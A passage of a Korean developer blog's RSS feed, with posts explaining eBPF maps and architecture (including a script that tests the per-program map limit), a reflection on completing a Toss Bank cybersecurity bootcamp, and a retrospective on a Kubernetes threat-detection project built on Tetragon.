    echo &quot;    bpf_map_lookup_elem(&amp;map_$i, &amp;key);&quot; &gt;&gt; $FILE_NAME
done

echo &#39;    return XDP_PASS;&#39; &gt;&gt; $FILE_NAME
echo &#39;}&#39; &gt;&gt; $FILE_NAME
echo &#39;char _license[] SEC(&quot;license&quot;) = &quot;GPL&quot;;&#39; &gt;&gt; $FILE_NAME

echo &quot;✅ $FILE_NAME 파일 생성 완료!&quot;
EOF

chmod +x generate_maps.sh</code></pre>
<p>입력한 개수만큼 Map을 선언하고, 선언된 Map들을 모두 참조하는 eBPF C코드를 만들어주는 스크립트다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/e46db98c-d01d-4c0c-a64e-141d5d5d8702/image.png" alt=""></p>
<pre><code class="language-bash"># 1. 64개 맵을 사용하는 코드 생성 및 컴파일
./generate_maps.sh 64
clang -O2 -g -target bpf -I/usr/include/$(uname -m)-linux-gnu -c test_64_maps.c -o test_64_maps.o

# 2. 65개 맵을 사용하는 코드 생성 및 컴파일
./generate_maps.sh 65
clang -O2 -g -target bpf -I/usr/include/$(uname -m)-linux-gnu -c test_65_maps.c -o test_65_maps.o</code></pre>
<p>clang을 통해 64개, 65개 코드를 각각 만들고 컴파일한다. 컴파일 단계에서 이를 제한하진 않기 때문에 정상적으로 오브젝트 파일이 생성된다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/d051d022-dd63-4254-8bee-76b3f1350fa5/image.png" alt=""></p>
<pre><code class="language-bash">sudo bpftool prog load test_64_maps.o /sys/fs/bpf/test_64
sudo bpftool prog load test_65_maps.o /sys/fs/bpf/test_65</code></pre>
<p>이제 생성된 각각의 오브젝트 파일을 이용해 로드 해보면 65개만 에러가 발생한다는 것을 확인할 수 있다. 에러 메세지도 보면 <strong>&quot;Argument list too long&quot;</strong> 즉, 개수를 초과하여 Map이 생성되지 않았다는 것을 확인할 수 있다.</p>
<h3 id="libbpf">libbpf</h3>
<p>앞서 설명한 Map 생성 기능을 제공하는 라이브러리 중 하나가 <code>libbpf</code>다.</p>
<pre><code class="language-c">LIBBPF_API int bpf_map_create(enum bpf_map_type map_type,
                  const char *map_name,
                  __u32 key_size,
                  __u32 value_size,
                  __u32 max_entries,
                  const struct bpf_map_create_opts *opts);                                                                                                                                                                                                   

struct bpf_map_create_opts {
    size_t sz; /* size of this struct for forward/backward compatibility */

    __u32 btf_fd;
    __u32 btf_key_type_id;
    __u32 btf_value_type_id;
    __u32 btf_vmlinux_value_type_id;

    __u32 inner_map_fd;
    __u32 map_flags;
    __u64 map_extra;

    __u32 numa_node;
    __u32 map_ifindex;
};</code></pre>
<p>해당 코드는 <code>/tools/lib/bpf/bpf.h</code>의 일부로, 해당 <code>bpf_map_create</code> 함수는 <code>libbpf</code> 런타임 중 Map을 생성하는 데 사용한다.</p>
<h2 id="map-사용">Map 사용</h2>
<p>Map은 Kernel Level에서 사용하는 것과 User Level에서 서로 다른 방식으로 조작된다.</p>
<h3 id="kernel-level에서-map-사용">Kernel Level에서 Map 사용</h3>
<p>Kernel Level에서 동작하는 eBPF 프로그램이 Map을 사용할 때는 Helper 함수를 통해 Map과 상호작용하고, 이는 해당 함수에 정의되어 있다. 
<code>bpf_helper_defs.h</code> 파일에 기능들이 담겨 있는 것을 알 수 있다.
<img src="https://velog.velcdn.com/images/_sychoii/post/fd4fbe56-5ada-48ca-ba54-5a221f85bb1c/image.png" alt=""></p>
<p><code>bpf_map_lookup_elem</code>을 통해 Map의 요소를 읽고, <code>bpf_map_update_elem</code>을 사용하여 업데이트, <code>bpf_map_delete_elem</code>을 사용하여 삭제를 할 수 있다. 외에도 <code>bpf_for_each_map_elem</code>과 같이 루프 기능, <code>bpf_redirect_map</code>과 같은 패킷 리다이렉션, <code>bpf_perf_event_output</code> 메세지 전송 등과 같은 기능도 제공한다.</p>
<h3 id="user-level에서-map-사용">User Level에서 Map 사용</h3>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/fb892b78-c258-4566-af50-a1f0682c07aa/image.png" alt=""></p>
<p>User Level에서 대부분 System Call 명령을 통해 <code>BPF_MAP_LOOKUP_ELEM</code> 읽기, <code>BPF_MAP_UPDATE_ELEM</code> 업데이트, <code>BPF_MAP_DELETE_ELEM</code> 삭제 기능을 지원한다. 하지만 Map의 유형에 따라 지원하는 기능이 달라 Map 별로 지원하는 명령을 확인해야 한다.</p>
<h2 id="마치며">마치며</h2>
<p>이번 포스트에선 eBPF Map에 대해 조금 더 깊게 알아봤다. 다음 포스트에선 Verifier에 대해 정리 해보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[eBPF란 무엇인가?]]></title>
            <link>https://velog.io/@_sychoii/eBPF%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</link>
            <guid>https://velog.io/@_sychoii/eBPF%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</guid>
            <pubDate>Mon, 09 Mar 2026 13:33:47 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>수행했던 프로젝트에서 K8s 환경에서 위협 행위에 대한 탐지를 위해 eBPF 기반 탐지도구인 Tetragon을 사용했다. 당시 프로젝트 수행 기간, 수행 요소 등을 종합적으로 고려 했을 때 여유롭게 스터디를 할 시간이 확보되지 않았다는 점과 Tetragon 탐지 고도화를 진행하면서 남았던 개인적인 아쉬움과 eBPF 기술에 대한 흥미를 위해 eBPF에 대해서 조금 더 깊이 공부 해보고자 포스트를 작성한다.
포스트는 eBPF 공식 문서를 기반으로 작성할 예정이다.</p>
<p>eBPF가 무엇인지부터 시작해서 어떤 방식으로 동작하는지에 대해 심층적으로 공부하고, Tetragon 정책 고도화까지 이어 가보려고 한다. 이번 포스트에선 eBPF가 무엇인지부터 알아보도록 하자!</p>
<blockquote>
<h4 id="kernel-프로젝트">KERNEL 프로젝트</h4>
<p><a href="https://github.com/Choseongyul/KERNEL">https://github.com/Choseongyul/KERNEL</a>
프로젝트에 대해 궁금하다면 해당 레포지터리 내용을 확인 해주세요!</p>
</blockquote>
<h2 id="ebpf란">eBPF란?</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/4d54785e-0d18-44ee-8569-52f4f2993690/image.png" alt=""></p>
<p>공식 문서에서 설명하는 eBPF는 다음과 같다.</p>
<blockquote>
<p>&quot;<strong>eBPF</strong>는 운영 체제 커널과 같은 특별한 권한이 있는 환경에서 샌드박스 프로그램을 실행시킬 수 있는 리눅스 커널의 기술에서 기원한 혁신적인 기술입니다. 이는 <strong>커널 소스 코드를 바꾸거나 커널 모듈을 로드하지 않고도 기존 커널의 기능을 안전하고 효율적으로 확장시키는 것</strong>에 사용됩니다.&quot;</p>
</blockquote>
<p>쉽게 말해서 <strong>eBPF는 커널 조작 없이, 사용자가 정의한 프로그램을 커널 레벨에서 안전하게 실행시킬 수 있는 기술을 의미</strong>한다. </p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/63770378-128d-4436-a5ea-c1345da3e4b6/image.png" alt=""></p>
<p>제한적 권한으로 Kernel Level 위에서 동작하는 User Level 같은 경우 우리가 일반적으로 컴퓨터에 앱을 설치 및 운용하는 것처럼 자유도를 갖는다. 하지만 운영체제에서 커널은 컴퓨터라는 시스템에서 최고 권한을 가지며, 편의성보단 안정성과 보안을 더 우선시 해야하기 때문에 발전 속도가 상대적으로 더딜 수 밖에 없다.</p>
<p>eBPF는 <strong>샌드박스 프로그램을 커널 내부에서 실행</strong>할 수 있게 함으로써 문제를 해결하고 발전시켰다. 우리가 어떤 프로그램을 설계하고 실험할 때 <strong>가상머신을 통해 안전하게 격리된 상태에서 수행</strong>하는 것처럼 이러한 작업이 커널 레벨에서도 가능해졌다는 뜻이다.
그리고 커널 레벨에서 eBPF 프로그램을 이후 설명 할 <strong>JIT, Verifier Engine</strong>를 통해 선제적으로 검사함으로써 추가된 프로그램들이 안전하고 효율적으로 동작할 수 있도록 보장한다.</p>
<h2 id="ebpf-hook">eBPF Hook</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/21432226-0713-4f73-8f67-d2cb1501a971/image.png" alt=""></p>
<p>eBPF 프로그램은 상시로 동작하는 것이 아니라 <strong>Event Dirven 방식으로 동작</strong>한다. 이때 <strong>Hook</strong>은 <strong>eBPF 프로그램이 동작하는 지점</strong>을 의미한다. 즉, eBPF 프로그램은 Hook이라는 지점에 부착돼서 <strong>프로그램에 정의한 특정 이벤트가 발생하면 동작</strong>한다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/1301bd43-9cbb-429d-b435-998a3f394252/image.png" alt=""></p>
<p><strong>Hook</strong>은 System Call, Kernel 함수, 네트워크 이벤트 등 자유롭게 거의 모든 공간이 될 수 있다. 또한, 목적에 맞는 Hook이 없다면 kprobe(커널 프로브), uprobe(유저 프로브)를 정의하여 <strong>User, Kernel 레벨에 관계없이 자유롭게 부착 가능</strong>하다.</p>
<h2 id="ebpf-프로그램-작성">eBPF 프로그램 작성</h2>
<p>일반적으로 eBPF 프로그램은 직접 작성하지 않고, Cilium, bcc 등 eBPF 추상화를 지원하는 프로젝트를 사용하여 간접적으로 사용한다. 내가 진행한 프로젝트에서도 Cilium을 이용했다.
만약 앞서 언급한 eBPF 추상화 도구를 사용할 수 없다면 eBPF 프로그램은 직접 작성 해야한다.</p>
<h2 id="ebpf-loader-verifier">eBPF Loader, Verifier</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/6a8d94d7-3418-4fee-84bf-a9855de426df/image.png" alt=""></p>
<p>특정 Hook이 확인되면 bpf 시스템 콜을 통해서 커널 내부로 로드된다. 이때 설정한 Hook point에 바로 부착되는 것이 아닌 <strong>Verifier로 검증 단계를 거치고, JIT Compiler를 통해 기계어로 컴파일</strong> 되어 부착된다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/71025c87-1053-4aa8-959d-63c6a3dfe50b/image.png" alt=""></p>
<p>설정한 Hook Point에 부착되기 전 <strong>권한, 정상 동작 여부, 종료 여부</strong>를 검사하게 된다. 이후 JIT(Just In Time) Complier를 거쳐 기계어로 변환되어 커널레벨에서 실행 가능한 명령어 집합으로 최종적으로 eBPF 프로그램으로써 동작하게 된다.</p>
<h2 id="ebpf-map">eBPF Map</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a5366183-5552-4b2c-8fe9-da3c0a0148ca/image.png" alt=""></p>
<p>이렇게 부착된 eBPF 프로그램을 통해 <strong>수집된 정보를 공유 및 저장</strong>할 수 있는 공간이 필요한데 이를 <strong>eBPF Map</strong>이 수행한다. 이를 이용하여 필요한 정보를 가지고 올 수 있다. 서비스로 따지면 DB라고 생각하면 된다.</p>
<p>또한 eBPF 프로그램뿐만 아니라 User Level에서 어플리케이션에서도 <strong>Map에 저장된 정보에 접근할 수 있다.</strong> eBPF Map은 <strong>Hash table, 배열, LRU, ring buffer</strong> 등 다양한 자료구조로 구현될 수 있고, 단일 CPU 코어뿐만 아니라 전체에 대해서도 다양한 유형의 eBPF Map을 사용할 수 있다.</p>
<h2 id="helper-함수">Helper 함수</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/37581238-a1ad-4b71-9c34-efbf802c7d31/image.png" alt=""></p>
<p>앞서 eBPF Program을 이용해 커널 내에서 다양한 이벤트를 관측한다고 했다. 이는 Kernel 함수의 값을 이용해서 이루어지는데, 만약 eBPF Program이 커널 함수를 직접 호출한다면 <strong>커널 버전 변화에 따라 함수 호출 방식이 달라져 특정 커널 버전에 종속</strong>될 수 있다. 커널 버전에 따라 함수 이름이 바뀌거나, 함수 호출시 필요한 파라미터 변화 등이 있을 수 있기 때문이다. 따라서 Kernel에서 제공하는 <strong>Helper</strong> 함수를 API로 활용해서 Kernel 함수를 호출한다.</p>
<h2 id="tail-call">Tail Call</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/9ee1fcdf-9cd7-4690-ae16-cfb03c901883/image.png" alt=""></p>
<p>Tail Call은 현재 실행중인 <strong>eBPF Program 외 다른 eBPF Program을 실행</strong>하거나 <strong>현재 실행 컨텍스트를 변경</strong>할 수 있도록 하는 기능으로 execve()와 동작 방식이 유사하다.</p>
<h2 id="안정성">안정성</h2>
<p>앞서 언급한 커널 레벨에서 안정성을 eBPF도 마찬가지로 최우선적으로 고려하여 설계되었다. 안정성을 위해 eBPF는 다음 단계를 따른다.</p>
<ol>
<li><p>특별한 권한 요구
리눅스 커널에 eBPF 프로그램을 로드하려는 모든 프로세스는 특별한 권한을 가진 모드(root)에서 실행, <code>CAP_BPF</code> 권한을 가져야 한다.</p>
</li>
<li><p>검증
앞서 언급한 Verifier를 통해 <strong>정상 동작 여부, 정상 종료 여부, 복잡성, 메모리 영역 접근</strong> 등을 검사한다.</p>
</li>
<li><p>Hardening
eBPF 프로그램은 해당 eBPF 프로그램이 특별한 권한이 있는 프로세스 또는 그렇지 않은 프로세스에서 로드 되었는지를 확인한다. 먼저 eBPF 내 커널 메모리는 <strong>Read Only</strong>로 생성되어 조작이 확인될 시 크래시한다. 그 다음 <strong>메모리 마스킹</strong>을 통해 제한된 영역에 접근하도록 하고, 코드에 존재하는 상수를 모두 가려 <strong>JIT 스프레이와 같은 eBPF 프로그램의 메모리 영역에 침입하여 상수로 위장한 채로 침투한 악성 코드를 실행</strong>과 같은 공격에 대응한다.</p>
</li>
<li><p>추상화 된 런타임 컨텍스트</p>
</li>
</ol>
<p><strong>eBPF Helper</strong> 함수를 이용하여 커널 메모리에 접근할 수 있도록 하여, <strong>일관성 있는 데이터 접근과 해당 eBPF 프로그램이 접근 가능한 데이터만 접근</strong>할 수 있도록 보장한다.</p>
<h2 id="마치며">마치며</h2>
<p>이번 포스트는 eBPF에 대한 Overview 느낌으로 각 구성 요소에 대해 가볍게 알아봤다. 다음 포스트에선 eBPF Map을 시작으로 각 구성 요소에 대해 좀 더 심층적인 내용을 다뤄보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프를 마치며]]></title>
            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84%EB%A5%BC-%EB%A7%88%EC%B9%98%EB%A9%B0</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84%EB%A5%BC-%EB%A7%88%EC%B9%98%EB%A9%B0</guid>
            <pubDate>Thu, 12 Feb 2026 10:35:45 GMT</pubDate>
            <description><![CDATA[<h2 id="intro">Intro</h2>
<p>2025년 9월 1일부터 2026년 2월 6일까지 약 6개월 기간의 교육 기간이 종료되었다. 종료 이후 나는 가족들하고 시간을 보내고 친구들도 만나면서 휴식을 취하고 있다. 프로젝트 하면서 잠도 많이 못 자고 휴식 기간 없이 달려왔기 때문에 컨디션 회복을 우선하고 있다.
이번 포스트에선 발표 현장과 개인적인 소감을 남겨보고자 한다.</p>
<h2 id="프로젝트-최종-발표">프로젝트 최종 발표</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/e281137f-858a-478f-8845-ce797173fb5a/image.jpg" alt=""></p>
<p>전날까지는 사실 체감이 많이 안됐는데 당일에 교육장에 와보니 진짜 끝이구나 하는 생각이 들었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/30180096-2b69-4082-9062-55d5c5cfbd8f/image.jpg" alt=""></p>
<p>수료증도 준비가 되어 있었고</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b5198fc9-51d6-4b6f-8b04-ea36ca702671/image.jpg" alt=""></p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a8a802ea-313c-4224-817e-6546f2d07c15/image.jpg" alt=""></p>
<p>수료증과 과정 운영 매니저님이 준비하신 선물들도 준비가 되어 있었다. 핸드크림 준비 해주셨는데 정작 매니저님은 유통기한 지난 다이소 핸드크림 쓰신다고..ㅋㅋㅋㅋㅋㅋ</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/68026dde-02c5-4a77-b531-eccb19ac020a/image.JPG" alt=""></p>
<p>행사 시작 전에 프로젝트 팀원들과도 사진도 좀 찍었다. 그러고나서 나는 발표 준비를 하는데 점점 긴장감이 올라오기 시작했다.
토스뱅크 현직자분들부터 멀티캠퍼스 관계자 분들 등 많은 분들 앞에서 발표를 진행하기 때문에도 그렇지만 현직자 앞에서 발표를 한다는게 참 쉽지가 않은거 같다. 우리 팀 발표 순서는 두 번째였다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/8af42099-8bde-459f-8808-96f0475a9c80/image.jpg" alt=""></p>
<p>본격적으로 행사가 시작됐다. 팀 소개부터 출발해서 첫 번째 팀 발표가 끝나고 우리 팀 발표 순서가 다가왔다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/c2f0e735-338c-405a-bf94-7649fca0e20d/image.JPG" alt=""></p>
<p>발표는 나쁘진 않았던거 같다. 전달해야 할 내용들을 잘 전달했던거 같고 중간에 말이 좀 꼬이긴 했지만..ㅋ 30분 간 발표를 진행한 뒤 Appendix와 함께 질의응답 시간을 가졌다.
우리 팀 프로젝트는 네트워크 포렌식이라는 주제로 블루팀 성격을 가졌기 때문에 블루팀 멘토님의 피드백이 가장 중요했는데, 기획 단계에서 발표 드렸을 때는 평가가 매우 좋았다. 그래서 사실 더 부담이 됐다.</p>
<p>기획이 밀도 있는거뿐 아니라 실제로 기획대로 수행이 됐는가가 매우 중요했기 때문에 긴장하면서 피드백을 기다리는데 처음 기획에서의 내용들이 프로젝트에서 고도화 된거 같다고 하셨다.
이후에 우리 팀 프로젝트의 핵심인 탐지 고도화에서 Baseline을 이용한 이상 징후 탐지에서 Baseline 수립과 관련된 내용에 대한 질문이 나왔고, 여기까진 사실 문제가 없었다.</p>
<p>마지막 질문을 레드팀 멘토님께서 해주셨는데, 탐지 정책 수립시 공격 방식에 대한 다양성에 대한 의문과 알려지지 않은 공격이 들어왔을 때 이를 잘 탐지할 수 있을까라는 의문을 제기하셨다.
사실 이 질문 듣고 좀 당황을 많이 했다. 일단 .. 공격에 대한 다양성은 MITRE ATT&amp;CK 메트릭스의 테크닉 별로 공격을 수행해서 확보하고자 했고, 알려지지 않은 공격들에 대한 대응은 시그니처 기반 탐지로는 불가능 할거라고 생각하고 공격이 여러 시스템 콜로 갈라지는 형태여도 Choke Point인 커널함수를 직접적으로 후킹한다면 대응이 가능할거 같다고 말씀 드렸다.</p>
<h2 id="수료식">수료식</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/454db3ba-6fd9-415d-9e00-06fa95ec72b2/image.jpg" alt=""></p>
<p>다섯 팀 발표가 모두 끝나고 심사 결과가 나왔고, 수료식이 시작됐다.
프로젝트는 결론적으로 1등은 못했다. 정말 몰입해서 했던 프로젝트이기 때문에 아쉬움도 컸고, 1등한 팀이 부러웠다. 그리고 우리는 뭐가 부족해서 1등을 하지 못했을까라는 생각이 머릿속을 덮었던거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/f22070a4-247a-4581-beed-623bbf10a9e2/image.jpg" alt=""></p>
<p>못 오실거라고 했던 토스뱅크 CISO님이 오셔서 수료식을 함께 해주셨다.
그리고 토스뱅크 서류면제 혜택이 걸려 있는 최우수수료생 발표가 남았는데 ..</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/38374f57-caeb-42c3-be85-e4aac060506e/image.jpg" alt=""></p>
<p>네. 제가 해냈습니다ㅎㅎ 정말 보상받는 느낌이라고 해야할까 사실 프로젝트 점수가 커서 기대가 약간 사라졌었는데 내 이름이 호명됐을 때 벙쪘던거 같다.
한편으로 우리 팀에서 나만 좀 잘 된거 같아서 팀원들한테 미안한 마음도 들었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/277d22a6-c118-4e48-adce-64a6e3c7e5d0/image.jpg" alt=""></p>
<p>소감 말하는데 사실 하고싶은 말은 많았는데 무슨 말을 할지 머릿속에 생각이 안나서 그냥 약간 주저리주저리 감사하다.. 앞으로 더 열심히 노력하겠다 뭐 이런 얘기만 했던거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/576bd64b-e227-488a-83da-5adb0ca6335e/image.jpg" alt=""></p>
<p>수료증도 받았다. 그리고 최우수 수료생에게는 토스뱅크에서도 뭔가 인증? 약간 이런걸 준다고 한다. 집으로 배송 해준다는데 아직 받진 못했다.</p>
<h2 id="소감">소감</h2>
<p>처음 목표했던 최우수 수료생 타이틀을 받아내서 뿌듯했다. 약 6개월이라는 시간동안 정말 공격적으로 살았던거 같다. 교육장과 비교적 거리가 멀어 편도 2시간 정도 걸려도 단 한번도 지각한적이 없다. 프로젝트 기간에 새벽 2시, 4시까지 작업을 해도 6시에 일어나서 교육을 들으러 갔다.</p>
<p>열심히는 당연하고, 잘해야 한다는 생각을 했고 잘하고 싶었다. 여태까지 눈에 보이는 성과가 없었기 때문에 증명 해야하는 시기라고 생각했다.
말보단 행동으로 6개월이라는 시간을 보냈기 때문에 얻을 수 있었던 성과였던거 같고 증명 해낸 내 자신에게 이번만큼은 박수 쳐주고 싶다.</p>
<h2 id="이후">이후</h2>
<p>막학기를 앞두고 있어 올해 9월 복학 전까지 나는 우선 프로젝트를 포트폴리오화 하는 작업을 하려고 한다. 우리가 진행한 프로젝트의 규모가 좀 있는 편이어서 이 작업도 시간이 꽤 걸리지 않을까 싶다.
그리고 정보보안기사, 쿠버네티스 자격증도 취득하고, 개인적으로 미니 프로젝트를 하나 해볼까 한다. 이번 팀 프로젝트를 진행하면서 아쉬웠던 부분들과 고도화 시킬 수 있는 작업들이 있기 때문에 계획중에 있다.</p>
<p>토스뱅크 서류면제 혜택은 아마 대학 졸업 이후에 사용하지 않을까 싶다. 자세한 내용을 공개할 수는 없지만 토스뱅크에서 지원자의 편의를 정말 많이 봐주고 있어서 칼을 갈 시간을 확보할 수 있었다.</p>
<h2 id="마치며">마치며</h2>
<p>어떤 방법으로든 몰입의 순간을 경험했으면 한다. 나는 이 과정을 통해 몰입의 순간을 경험했다. 그리고 눈에 보이는 것도 보이지 않은 것도 많은것이 바뀌었다는걸 체감한다.
나는 앞으로 더 잘할거고 잘하기 위해 노력할거다. 현재는 상상하지 못하는 부분에서 문제가 발생하고 어려움을 겪겠지만 내가 경험한 순간들을 바탕으로 또 해결 해나갈 수 있을거다. 그리고 또 무언가 배우지 않을까?</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Toss TIL - 마지막 이야기]]></title>
            <link>https://velog.io/@_sychoii/Toss-TIL-%EB%A7%88%EC%A7%80%EB%A7%89-%EC%9D%B4%EC%95%BC%EA%B8%B0</link>
            <guid>https://velog.io/@_sychoii/Toss-TIL-%EB%A7%88%EC%A7%80%EB%A7%89-%EC%9D%B4%EC%95%BC%EA%B8%B0</guid>
            <pubDate>Tue, 03 Feb 2026 14:38:46 GMT</pubDate>
            <description><![CDATA[<h2 id="회고">회고</h2>
<p>이제 프로젝트의 끝이 다가오고 동시에 이 과정도 끝이 다가오고 있다. 최종 산출물로 수행 결과 보고서와 발표자료를 제작하면서 우리가 많은 것을 했구나라는 생각이 들면서도 아쉬움이 따르는 거 같다.
프로젝트 진행하면서 힘들었던 점, 아쉬웠던 점이 있지만 최선을 다했다라는 생각이 든다. 앞선 TIL에서도 여러번 언급했듯 아쉬운 점이 있더라도 그때의 최선이었다고 생각할 수 있기를 바랐는데 바람이 이루어진거 같아 다행이라는 생각이 든다.</p>
<hr>
<h2 id="kernel-프로젝트의-시작">KERNEL 프로젝트의 시작</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b134bbc3-4c47-42b8-8c86-506ee69d6624/image.png" alt=""></p>
<p>10월 말 즈음이었나 슬슬 프로젝트 기간이 다가올 때 프로젝트 주제에 대해서 생각을 많이 했었던거 같다. 주변에 다른 부트캠프나 프로젝트 하는 것을 많이 보면 그냥 어중이 떠중이인거 같은 느낌을 많이 받았던거 같다. 기술적인 난이도가 높다던가 혁신적이라던가 그런거 없이 그냥 스쳐가는 한 프로젝트로 치부하는 사람들이 더러 있던거 같다.</p>
<p>하지만 나는 그냥 평범한 한 순간으로 흘려 보내기 싫었다. 정말 제대로 진지하게 임하고 싶은 마음이 컸던거 같다. 취업할 때 여기서 한 이 프로젝트가 나의 매력이 될만큼 좋은 프로젝트를 하고 싶었다. 그렇기에 당연히 1등을 목표로 했던거 같다.
이런 생각을 하던 와중에 우연찮게 희수랑 둘이 밥을 먹게됐다. 그때 여기 오기전에 무엇을 했는지 어떤 경험을 했는지 궁금해서 이것저것 물어봤고 프로젝트 관련해서도 이야기를 나눴었다.</p>
<p>이때 희수도 이왕 하는거면 1등 하고 싶다고 해서 이 친구랑 같이 프로젝트를 하고 싶었다. 그다지 그런 포부가 없는 사람들이 대부분인거 같았고, 말로만 1등 하고 싶다고 하는 사람은 아닌거 같기에 더 같이 하고 싶었던거 같다.
그리고 마침? 프로젝트 주제 생각한거 강사님께서 올려달라고 하셨는데 내가 생각한 주제와 결이 맞았다. 희수도 쿠버네티스 환경에서의 위협에 대한 프로젝트를 하고싶어 했다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/72e158d1-ceae-4e84-87ae-ffdd2bac942c/image.png" alt=""></p>
<p>내가 쿠버네티스 환경에 대한 프로젝트를 하고 싶었던 이유는 학교 수업에서도 그렇고 학부 연구생 할 때도 그렇고 교수님들께서 이 환경에 대한 경험을 강조하셨어서 경험 해보고 싶었다.
기존 레거시한 인프라와도 다르니 매우 도전적인 시도가 될거 같다고 생각했고, 동시에 트렌디함까지 챙길 수 있으니 매력적인 주제라고 생각했다.</p>
<hr>
<h2 id="kernel-프로젝트에서-아쉬웠던-점">KERNEL 프로젝트에서 아쉬웠던 점</h2>
<p>최선을 다 한건 한거지만 아쉬움은 많다. 우선 준비 과정에서 탐지와 분석에 집중하지 못하고 많이 헤맸다는 점이 아쉽게 느껴진다. 프로젝트 진행 초기에 우리 팀은 인프라, 공격 설계, 분석 세 가지 파트로 나뉘어 작업을 진행했다.
나는 이 중 공격 설계를 맡았다. 이 과정에서 환경 구성을 어느정도로 취약하게 만들어야 하는지, 너무 과도하게 취약하게 만들면 짜고 치는 고스톱 느낌?이 들어서 혼란스러웠던거 같다.</p>
<p>그래서 초반에 멘토님께 질문을 엄청 드렸던거 같다. 이 과정에서 멘토님께서 <strong>&quot;블루는 분석과 포렌식에 집중하세요. 작위적이더라도, 해당 공격으로 인해 시스템이나 보안 솔루션에 남는 아티펙트에 집중하면 됩니다.&quot;</strong> 라는 말씀을 하셨고 이 이야기를 듣고나서 내가 초점을 다른데 두고 있었구나라는 생각이 들었다.</p>
<p>우리 프로젝트는 블루팀 프로젝트이기 때문에 위협 행위에 대한 탐지와 분석에 집중하는 것이 맞았다. 레드팀이 아니기 때문에 공격 수행 환경에 대한 작위성은 그다지 중요한게 아니었던거다. 이 과정에서 시간을 꽤나 많이 썼기에 아쉬움으로 남는거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a380389b-791f-4066-8c02-6d5fc5edf6be/image.png" alt=""></p>
<p>또, 도구 활용 측면에서도 아쉬움이 있다. 우리는 해당 프로젝트에서 eBPF 기반 CNI인 <strong>Cilium</strong>과 탐지 도구인 <strong>테트라곤, 허블</strong>을 선정해서 사용했다.
Tetragon 정책 설계 과정에서 사실 기술적인 허들을 많이 느꼈던거 같다. 내가 생각한대로 탐지도 안되고, 정상적인 행위가 정책에 걸려 수많은 노이즈가 잡혔었고 이를 해결 해나가는 과정 자체가 정말 쉽지 않았다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/fd5feff3-6844-449f-b906-d619ca0fa083/image.png" alt=""></p>
<p>아 이건 팀원 중 한분이 요즘 유행하는 김동현 밈을 우리 프로젝트에 대입한거라고 한다ㅋㅋㅋㅋㅋㅋ Tetragon과 씨름하느라 탐지 근육이 큰거 같다 💪</p>
<p>다시 돌아가서 또 하나 Tetragon 정책은 System Call, 커널 함수의 인자값을 파싱해서 위협 행위를 탐지하는 구조다. 파싱하는 과정에서 만약 인자가 포인터 또는 이중 포인터로 되어 있는 경우 값을 제대로 가져오지 못하는 경우도 있었다.</p>
<p>마지막으로 Tetragon이라는 도구를 완전히 정복하지 못했다는 점이 아쉬움으로 남는다. 분명히 이 도구로 더 많은 것을 할 수 있을텐데 .. 이런 부분들이 아쉬움으로 남는거 같다.
프로젝트 기간이 상당히 짧기 때문에 이를 더 붙잡을건가 아님 다른 대체할 수 있는 어떤 방법을 도입할건가 기로에 섰었고 민송이가 다중 탐지 프레임워크의 초안을 들고 와줘서 다른 대안으로 더 좋은 결과를 낼 수 있었던거 같다.</p>
<p>행위 기반 탐지를 하는 Tetragon의 오탐을 잡아줄 지식 기반 탐지를 덧대었고 우리가 사용하는 대시보드인 Open Search에서 시그마 룰을 지원하기 때문에 이 부분을 고도화 시켰다.</p>
<p>가장 아쉬웠던? 음 아쉽다고 해야할까 내가 팀장 역할을 하지 않고 기술적인 부분에 더 시간을 할애할 수 있었다면 좋았을텐데라는 생각이 불쑥불쑥 든다.
